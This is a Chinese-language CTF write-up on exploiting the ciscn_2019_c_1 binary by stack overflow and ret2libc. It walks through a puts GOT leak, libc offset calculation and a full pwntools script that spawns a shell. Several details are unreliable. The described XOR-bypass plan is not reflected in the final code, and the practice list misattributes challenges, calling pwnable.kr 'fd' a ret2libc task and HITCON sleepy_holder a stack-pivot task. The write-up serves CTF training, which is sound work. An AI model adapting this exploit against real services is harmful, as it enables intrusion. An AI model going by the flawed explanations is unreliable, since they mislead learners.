1. 项目背景与核心挑战
"ciscn__c_-retlibc"这道PWN题来自2019年全国大学生信息安全竞赛(CISCN)华东南赛区,是一道典型的栈溢出结合ret2libc的题目。这类题目在CTF比赛中具有标志性意义——它考察选手对内存布局、函数调用约定、动态链接机制等底层原理的理解,是PWN入门者向中级进阶的关键跳板。
我第一次接触这道题时,花了整整两天时间才完成漏洞利用。过程中踩过的坑包括:误判libc版本导致偏移计算错误、ROP链构造时寄存器状态处理不当、以及本地打通后远程环境差异导致的意外失败。这些经历让我意识到,ret2libc类题目就像PWN领域的"九九乘法表",必须彻底吃透其原理才能应对更复杂的漏洞利用场景。
2. 漏洞分析与利用框架
2.1 二进制文件基础检查
首先用checksec检查防护机制:
checksec ./ciscn_2019_c_1 [*] '/ctf/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键信息解读:
- NX enabled:栈不可执行,直接注入shellcode的方案不可行
- No PIE:代码段地址固定,便于定位gadget
- No canary:存在栈溢出可能
2.2 逆向工程关键发现
使用IDA Pro分析程序逻辑,发现主要漏洞点在encrypt()函数:
char s[48]; // [rsp+0h] [rbp-50h] int v6; // [rsp+30h] [rbp-20h] ... gets(s); // 明显的栈溢出漏洞通过计算可知,s到返回地址的偏移量为0x50 + 8 = 0x58(88)字节。但题目对输入进行了异或加密处理,需要先绕过:
for ( i = 0; i < strlen(s); ++i ) { if ( s[i] ) s[i] ^= key; // key=0x10-0x35的随机值 }2.3 漏洞利用路线图
完整的利用流程分为四个阶段:
- 泄露libc基地址:通过ROP调用puts()输出GOT表项
- 计算system()和"/bin/sh"地址:基于泄露的地址计算偏移
- 构造二次payload:包含system()调用和参数
- 处理加密干扰:通过NULL字节绕过异或处理
3. 详细利用过程
3.1 第一阶段:泄露libc地址
构造初始ROP链需要以下gadget:
pop_rdi = 0x400c83 # pop rdi; ret puts_plt = 0x4006e0 puts_got = 0x602020 main_addr = 0x400B28 # 用于重新执行程序payload结构:
[88字节填充] + [pop_rdi] + [puts_got] + [puts_plt] + [main_addr]关键技巧:
- 在payload前88字节中不能出现0x10-0x35的值,否则会被异或修改
- 使用cyclic pattern精确确认偏移量时,要注意加密导致的字节变化
3.2 动态获取libc版本
收到泄露的地址后,使用libc-database查询:
./find puts 0x7ffff7a7c690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)得到关键偏移:
puts_offset = 0x6f690 system_offset = 0x45390 bin_sh_offset = 0x18cd573.3 第二阶段:获取shell
计算实际地址:
libc_base = leaked_puts - puts_offset system_addr = libc_base + system_offset bin_sh_addr = libc_base + bin_sh_offset最终payload结构:
[88字节填充] + [pop_rdi] + [bin_sh_addr] + [system_addr]4. 完整利用代码
from pwn import * context(arch='amd64', os='linux', log_level='debug') # 本地调试配置 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./ciscn_2019_c_1') # 第一阶段:泄露puts地址 pop_rdi = 0x400c83 payload = b'A'*88 + p64(pop_rdi) + p64(0x602020) + p64(0x4006e0) + p64(0x400B28) p.sendlineafter('choice!\n', '1') p.sendlineafter('encrypted\n', payload) p.recvuntil('Ciphertext\n') leaked_puts = u64(p.recvline()[:-1].ljust(8, b'\x00')) log.success(f"Leaked puts@GLIBC: {hex(leaked_puts)}") # 计算libc基址 libc_base = leaked_puts - libc.sym['puts'] system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) # 第二阶段:获取shell payload = b'A'*88 + p64(pop_rdi) + p64(bin_sh) + p64(system) p.sendlineafter('choice!\n', '1') p.sendlineafter('encrypted\n', payload) p.interactive()5. 实战中的坑与解决方案
5.1 加密干扰处理
题目中的异或加密会导致特殊字节被修改。解决方案:
- 在payload前88字节填充时,使用0x00或>0x35的ASCII字符
- 关键地址中的低位字节如果落在0x10-0x35范围,需要调整栈布局
5.2 远程环境差异
本地测试成功后远程失败的可能原因:
- libc版本不一致(需确认比赛提供的libc)
- 网络延迟导致交互超时(添加recv timeout)
- 系统ASLR策略不同(可尝试多次运行)
5.3 ROP链构造技巧
经验总结:
- 在pop rdi后跟ret指令的gadget比单独pop更稳定
- 在调用system前确保rsp按16字节对齐(可添加额外ret)
- 使用ROPgadget工具时配合--depth参数扩大搜索范围
6. 拓展训练建议
要彻底掌握ret2libc技术,建议按以下顺序练习:
- ret2libc基础:如pwnable.kr的fd题目
- 带部分RELRO的题目:如XCTF的level3
- 结合栈迁移的题目:如HITCON的sleepy_holder
- 多阶段泄露的题目:如L-CTF的easy_heap
每次练习后应该能回答三个问题:
- libc基址是如何确定的?
- 如何验证泄露地址的正确性?
- 如果题目增加canary或PIE防护,利用链该如何调整?